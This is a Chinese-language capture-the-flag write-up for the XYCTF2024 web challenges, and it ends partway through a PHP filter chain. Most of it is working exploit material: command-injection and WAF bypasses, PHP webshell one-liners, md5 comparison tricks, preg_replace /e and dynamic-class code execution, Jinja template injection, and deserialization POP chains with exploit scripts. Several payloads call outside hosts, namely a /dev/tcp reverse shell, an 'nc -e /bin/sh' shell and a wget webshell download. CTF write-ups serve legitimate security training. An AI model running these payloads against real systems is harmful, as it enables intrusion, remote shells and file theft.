RE:XYCTF2024

WEB

ezMake

image-20250727205910503

PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。

bash命令

  • alias - 定义或显示别名。
  • cd - 改变当前目录。
  • echo - 输出参数到标准输出。
  • exit - 退出当前shell。
  • export - 设置或显示环境变量。
  • history - 显示命令历史记录。
  • pwd - 打印当前工作目录的路径。
  • read - 从标准输入读取一行数据。
  • set - 设置或取消设置shell选项和位置参数。
  • type - 显示一个命令的类型。
  • unset - 删除变量或函数的定义。

echo可以执行image-20250729111153546

方法一:

利用shell变量替换符$(<file)读文件

1
2
3
root@aura:~# echo "flag{test}" > flag
root@aura:~# echo $(<flag)
flag{test}

注意:这里需要两个$$

1
echo $$(<flag)

方法二:

访问/flag下载

010打开

image-20250729112021476

方法三(非预期):

使用echo写马

1
2
3
4
eval($_POST["cmd"]);
echo '<?=eval($_POST["cmd"]);?>' > hook.php
echo 'PD89ZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==' | base64 -d > hook.php
echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > hook.php

发现hex2bin可以过

image-20250729112803956

考点:命令执行绕过+shell变量替换符读文件

ez?Make

上一题的方法均不可用

给出/bin下的命令,PATH不再有限制,flag路径在/flag,所以可以cd再进行读文件

读文件more还能用

payload:

1
2
3
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z]
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&vi [0-z][0-z][0-z][0-z]
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&vi [^z][^z][^z][^z]

image-20250729113611832

εZ?¿м@Kε¿?

查看源码发现

image-20250729114103975

存在hint.php

1
/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

是一个字符白名单

image-20250729114634172

类似于make的第一题

payload:

1
$$(<$<)

附:

关于makefile的自动变量

Makefile中的自动变量是在规则执行时由make自动定义的变量。这些变量非常有用,因为它们可以自动获取文件名、目录名和更多的信息,使得Makefile编写更加简洁和灵活。下面是一些常用的自动变量:

  • $@: 表示规则中的目标文件名。目标的一个实例。
  • $<: 表示规则中的第一个依赖文件名。
  • $?: 表示所有比目标文件还要新的依赖文件列表,用空格分隔。
  • $^: 表示所有的依赖文件列表,这些依赖文件以空格分隔,不包含重复的依赖文件。
  • $+: 这个变量和$^很像,但是它包含了所有的依赖文件,并保留了重复的文件。
  • $: 在模式规则中,它表示匹配于目标模式中的%部分的字符串。例如,在规则 %.o: %.c 中,如果目标是 foo.o,则 $ 的值就是 foo。

ezRCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__); // 显示当前文件的源代码(语法高亮),用于调试或 CTF 提示
function waf($cmd) {
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; // 白名单字符:数字 0-9、反斜杠 (\)、单引号 (')、美元符号 ($)、小于号 (<)
$cmd_char = str_split($cmd); // 将输入字符串拆分为单个字符数组
foreach ($cmd_char as $char) {
if (!in_array($char, $white_list)) { // 检查每个字符是否在白名单中
die("really ez?"); // 如果字符不在白名单,终止脚本并输出错误信息
}
}
return $cmd; // 所有字符合法,返回原始输入
}
$cmd = waf($_GET["cmd"]); // 从 GET 参数 "cmd" 获取输入,并通过 WAF 过滤
system($cmd); // 执行过滤后的命令
?>

使用字符使用url编码绕过

命令转为ASCII码

1
2
3
ls 的 ASCII 字符:l = 八进制 \154, s = 八进制 \163。

构建 payload: $'\154\163',在 shell 中扩展为 ls。

可执行

image-20250729120831988

ls /无回显

尝试{ls,/}也无回显

猜测应该是命令被当作字符

参考:https://xz.aliyun.com/news/8174#toc-3中的Web-Bash-Vino0o0o

bash命令中的特殊的语法Here String,用于将字符串作为命令的标准输入提供给命令。它的语法形式是bash<<<{,,,,}

1
2
3
4
bash -> $'\142\141\163\150'
{ls,/} -> $'\173\154\163\54\57\175'
组合为
$'\142\141\163\150'<<<$'\173\154\163\54\57\175'

发现成功命令执行

image-20250729122652089

1
2
3
4
bash -> $'\142\141\163\150'
{cat,/f*} -> $'\173\143\141\164\54\57\146\52\175'
组合为
$'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'

payload:

1
$'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'

推荐项目:

https://github.com/ProbiusOfficial/bashFuck

warm up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

val1与val2进行md5弱比较

使用0e或者数组

1
2
3
?val1=240610708&&val2=s214587387a

?val1[]=a&&val2[]=b

isset($md5) && $md5 == md5($md5)

原md5等于加密后的md5

使用0e开头的字符串且加密后任为0e开头

0e215962017 0e291242476940776845150308577824
0e1137126905 0e291659922323405260514745084877
0e462097431906509019562988736854 0e830400451993494058024219903391

$XY == $XYCTF

变量覆盖相等即可

md5($XY) == md5(“XYCTF_550102591”)弱比较

payload:

1
?val1=240610708&&val2=s214587387a&&md5=0e215962017&&XY=s214587387a&&XYCTF=s214587387a

进入LLeeevvveeelll222.php

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

考察preg_replace /e 模式下的代码执行

preg_match使用数组绕过,当输入是数组时,preg_match 返回 false 并抛出警告(但脚本继续执行)。

在 PHP 5.x 中,intval(array()) 返回 **1**(满足非零条件)。

1
a[]=bypass

preg_replace /e

  • **a=/.\*/e**:
    正则表达式修饰符 /e 表示 执行替换字符串中的 PHP 代码
  • **b=system("id")**:
    替换字符串中的 PHP 代码(此处执行系统命令 id)。
  • **c=anything**:
    被匹配的文本(可为任意值,因正则 /.*/ 会匹配所有内容)。
1
?a=/.*/e&b=system("id")&c=anything

image-20250729125659857

payload:

1
?a=/.*/e&b=system("cat /f*")&c=anything

附:

常见0e:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

ezClass

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

漏洞原理分析

  1. 动态类实例化
    • new $a($aa)new $b($bb):直接使用 GET 参数动态创建类的实例
    • 可以控制类名和构造参数
  2. 动态方法调用
    • ->$c():动态调用对象的方法
    • 方法名完全由 GET 参数 c 控制
  3. 嵌套函数执行
    • 最终结构:函数A(函数B())
    • 需要使 (new $a($aa))->$c() 返回一个可调用对象(函数)
    • (new $b($bb))->$c() 的返回值作为参数传递
利用思路:通过 Exception 类构造命令执行

利用 PHP 的 Exception 类和可变函数调用特性:

  1. 核心原理

    • Exception 类的 getMessage() 方法返回构造函数传入的字符串
    • 当字符串是函数名时,可以通过 '函数名'(参数) 的语法执行
  2. Payload 结构

    1
    2
    3
    4
    5
    6
    7
    8
    // 第一部分:获取 system 函数
    (new Exception('system'))->getMessage() // 返回字符串 'system'

    // 第二部分:获取要执行的命令
    (new Exception('id'))->getMessage() // 返回字符串 'id'

    // 组合执行
    'system'('id') // 等价于 system('id')
完整攻击向量
1
2
3
4
5
6
http://target.com/script.php?
a=Exception&
aa=system&
b=Exception&
bb=id&
c=getMessage
分步解释:
参数 作用
a Exception 创建 Exception 类的实例
aa system 传递给 Exception 构造函数的参数(作为异常消息)
b Exception 创建另一个 Exception 类的实例
bb id 传递给第二个 Exception 构造函数的参数(要执行的系统命令)
c getMessage 调用两个实例的 getMessage() 方法,分别返回 ‘system’ 和 ‘id’ 字符串
实际执行流程:
1
2
3
4
5
((new Exception('system'))->getMessage())((new Exception('id'))->getMessage());
// 转换为:
'system'('id');
// 最终执行:
system('id');
执行任意命令示例:
  1. 查看当前目录

    1
    ?a=Exception&aa=system&b=Exception&bb=ls+-l&c=getMessage
  2. 读取系统文件

    1
    ?a=Exception&aa=system&b=Exception&bb=cat+/etc/passwd&c=getMessage
  3. 反弹 Shell(需 URL 编码):

    1
    ?a=Exception&aa=system&b=Exception&bb=bash+-c+%27bash+-i+>%26+/dev/tcp/1.2.3.4/8080+0>%261%27&c=getMessage

本题payload:

1
?a=Exception&aa=system&b=Exception&bb=cat+/flag&c=getMessage

ezmd5

image-20250729164423533

要求上传两张图片然后进行比较

考点为:md5文件强相等

使用fastcoll生成两个md5相等的文件

image-20250729165713936

上传得到flag

注意:指定的jpg不可太大

ezhttp

源码发现

image-20250729165954705

使用dirsearch扫一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292

Target: http://gz.imxbt.cn:20106/

[16:59:30] Scanning:
[16:59:42] 200 - 0B - /flag.php
[16:59:43] 200 - 1KB - /index.php
[16:59:43] 200 - 1KB - /index.php/login/
[16:59:46] 200 - 35B - /robots.txt
[16:59:46] 403 - 279B - /server-status
[16:59:46] 403 - 279B - /server-status/

Task Completed

访问/robots.txt

1
2
User-agent: *
Disallow: /l0g1n.txt

访问/l0g1n.txt

得到账号密码

1
2
username: XYCTF
password: @JOILha!wuigqi123$

image-20250729170136720

可以修改Referer的value指向来源于 yuanshen.com

image-20250729170344809

User-Agent的value改为XYCTF

image-20250729170505796

X-Forwarded-For的value为127.0.0.1

这里X-Forwarded-For不适用

常见fake ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

发现Client-IP可以使用

image-20250729172957589

添加Via

image-20250729173038060

Cookie增加XYCTF拿到flag

完整post包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /index.php HTTP/1.1
Host: gz.imxbt.cn:20106
Content-Length: 48
Cache-Control: max-age=0
Origin: http://gz.imxbt.cn:20106
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: XYCTF
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: yuanshen.com
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
cookie: XYCTF
via: ymzx.qq.com
client-ip: 127.0.0.1
Connection: keep-alive

password=%40JOILha%21wuigqi123%24&username=XYCTF

牢牢记住,逝者为大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

对cmd是有长度限制,增加转接头 逃逸命令长度限制

1
'$_GET[1]';

eval(“#man,” . $cmd . “,mamba out”);存在无关字符

#在php为单行注释,使用%0A换行即可绕过,后面无关字符使用#注释即可

无法直接回弹shell且curl也打不了

只能写马(echo >或者wget下载远程文件)

payload:

1
?cmd=%0a`$_GET[1]`;%23&1=wget 8.8.8.8/hook.php

或者监听

1
2
3
4
?cmd=%0a`$_GET[1]`;%23&1=nc 8.8.8.8 39200 -e /bi''n/sh

攻击机:
nc -lvnp 39200

我是一个复读机

用户名为admin

使用所给字典爆破

image-20250730111847199

password=asdqwe&username=admin

image-20250730112316621

过滤{} ‘ “ [] _ os

发现输入¥会显示

image-20250730112549415

1
¥¥2*3

输出6

可以打ssti

payload:

1
?sentence=¥(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()¥&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

或者

1
?sentence=¥lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()¥&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read

ezPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
1
2
3
4
graph TD
A[CCC::__destruct] -->|echo $this->c| B[AAA::__toString]
B -->|return $this->s->$p| C[BBB::__get]
C -->|call_user_func| D[任意代码执行]
1
call_user_func($a,$b)($c)($d);
  • 参数完全可控:
    • $a = $_POST['a'](函数名)
    • $b = $_POST(数组参数)
    • $c = $this->c(对象属性)
    • $d = $this->d(对象属性)

绕过 throw new Exception(“noooooob!!!”);Fast-destruct即可:删除末尾的}快速触发-_destruct()(垃圾回收机制)从而绕过抛出异常终止执行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class AAA
{
public $s;
public $a;

}

class BBB
{
public $c;
public $d;

}

class CCC
{
public $c;

}

$aaa = new AAA();
$bbb = new BBB();
$ccc = new CCC();

$bbb -> c = "system";
$bbb -> d = "tac /f*";

$aaa -> s = $bbb;
$ccc -> c = $aaa;

echo serialize($ccc);
//echo urlencode(serialize($ccc));


解释:
  1. 反序列化后,CCC销毁触发__destructecho $aaa触发__toString
  2. AAA->__toString访问$bbb->xyz(不存在),触发BBB->__get
  3. BBB->__get执行:
    • call_user_func('current', ['b'=>'sprintf']) → 返回 'sprintf'
    • 'sprintf'('system') → 返回 'system'
    • 'system'('tac /f*') → 执行系统命令,读取flag文件。

payload:

1
2
3
4
?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";N;}


a=current&b=sprintf

ezSerialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

class Flag {
public $token;
public $password;

public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}

public function login()
{
return $this->token === $this->password;
}
}

if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}

exp:

1
2
3
4
5
6
7
8
9
10
11
class Flag {
public $token;
public $password;
}

$a = new Flag();
$var = 'a'; // 初始值(会被覆盖)
$a->token = &$var;
$a->password = &$var;

echo urlencode(serialize($a));
  1. 核心思路:创建 Flag 对象,使 tokenpassword 成为同一个变量的引用。

  2. 反序列化后对象结构

    1
    2
    3
    4
    $flag = {
    token: &$var, // 引用变量 $var
    password: &$var // 同样引用 $var
    }
    • 执行流程
      • $pop->token = md5(mt_rand()):修改 $var 为随机 MD5 值。
      • password 因引用 $var 同步更新。
      • login() 比较 token === password(值相同),返回 true
    • 序列化关键点
      • R:2 表示 password 引用序列化中第 2 个值(即 token 的值)。
  3. 触发逻辑

    • 反序列化后,token 被重置为随机 MD5 值。
    • 由于 passwordtoken 的引用,两者值相同。
    • login() 返回 true,输出 flag。

payload:

1
?pop=O:4:"Flag":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

image-20250731130734639

访问/fpclosefpclosefpcloseffflllaaaggg.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
  1. 入口点unserialize($_POST['pop']) 允许我们控制反序列化内容
  2. 目标方法C::__call 会输出 flag(当调用不存在方法时触发)
  3. 可用魔术方法
    • A::__invoke:当对象作为函数调用时触发
    • B::__get:当访问不存在的属性时触发
    • D::__toString:当对象被当作字符串使用时触发
    • E::__unserialize:反序列化时触发(覆盖__wakeup

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class A
{
public $mack;
}

class B
{
public $luo;
}

class C
{
} // 空类即可
class D
{
public $lao;
}

class E
{
public $name;
public $num;
}


//E#__unserialize -> D#__toString -> B#__get -> A#invoke -> C#__cal

// 从目标开始反向构造
$c = new C(); // 触发点

$a = new A();
$a->mack = $c; // 使 A 调用 C 不存在的方法

$b = new B();
$b->luo = $a; // 使 B 返回 A 对象作为函数

$d = new D();
$d->lao = $b; // 使 D 访问 B 不存在的属性

$e = new E();
$e->num = $d; // 使 E 输出 D 对象

echo serialize($e);

payload:

1
2
O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":1:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":0:{}}}}}

访问/saber_master_saber_master.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}

class XYCTFNO2
{
public $crypto0;
public $adwa;

public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}

public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}

public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}


if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}

链子顺序:

XYCTFNO3#__wakeup -> XYCTFNO2.XYCTF() -> XYCTFNO3.XY() -> new SplFileObject(“php://filter/convert.base64-encode/resource=flag.php”)

  1. 分析代码结构
    • 存在三个类:XYCTFNO1XYCTFNO2XYCTFNO3
    • 漏洞触发点在XYCTFNO3::__wakeup()方法,当满足条件时会调用XY()方法。
    • XY()方法中,如果$N1ght == 'oSthing',会执行echo new $_POST['X']($_POST['Y']),允许通过POST参数动态创建对象并执行文件读取。
  2. 利用链构造
    • 需要使XYCTFNO3对象的__wakeup()触发。
    • __wakeup()中,$this->KickyMu->XYCTF()必须返回true
    • XYCTF()方法要求$this->adwa->crypto0 == 'dev1l'$this->adwa->T1ng == 'yuroandCMD258'
    • 通过构造对象链满足条件,并设置$N1ght = 'oSthing'以触发文件读取。
  3. 文件读取
    • 利用SplFileObject类读取文件,配合php://filter进行Base64编码避免特殊字符问题。
    • 最终读取flag.php

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class XYCTFNO1 {
public $Liu;
public $T1ng;
private $upsw1ng;
}

class XYCTFNO2 {
public $crypto0;
public $adwa;
}

class XYCTFNO3 {
public $KickyMu;
public $fpclose;
public $N1ght;
}

// 创建对象链
$c = new XYCTFNO1();
$c->T1ng = 'yuroandCMD258'; // 满足T1ng条件
$c->crypto0 = 'dev1l'; // 动态添加crypto0属性

$b = new XYCTFNO2();
$b->adwa = $c; // 设置adwa为XYCTFNO1对象

$a = new XYCTFNO3();
$a->KickyMu = $b; // 设置KickyMu为XYCTFNO2对象
$a->N1ght = 'oSthing'; // 触发文件读取条件

echo urlencode(serialize($a)); // URL编码序列化字符串
?>

payload:

1
2
3
?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:" XYCTFNO1 upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

image-20250731133233534

ezLFI

index.php中有

1
<?php include_once($_REQUEST['file']);

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FROM debian:bullseye

RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
apt-get install -y \
nginx \
php-fpm \
musl-tools \
&& rm -rf /var/lib/apt/lists/
COPY conf/default /etc/nginx/sites-enabled/default
COPY conf/www.conf /etc/php/7.4/fpm/pool.d/www.conf

ADD readflag.c /build/

RUN rm -rf /var/www/html/*
COPY src/index.php /var/www/html/
COPY ./service/docker-entrypoint.sh /docker-entrypoint.sh
RUN chmod +x /docker-entrypoint.sh
RUN chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
RUN ln -sf /dev/stdout /var/log/nginx/access.log && \
ln -sf /dev/stderr /var/log/nginx/error.log
EXPOSE 80
ENTRYPOINT ["/docker-entrypoint.sh"]

docker-entrypoint.sh中的

1
chmod 400 /flag

表名只用文件所有者可以读取flag

存在 /readflag 说明要执行shell命令

给了 include_once();

php filter chain构造任意字符,用php_filter_chain生成一句话木马即可

1.php_filter_chain_generator

https://github.com/synacktiv/php_filter_chain_generator 2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

这里使用的是第二个项目

1
2
3
?1=system('/readflag');

file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.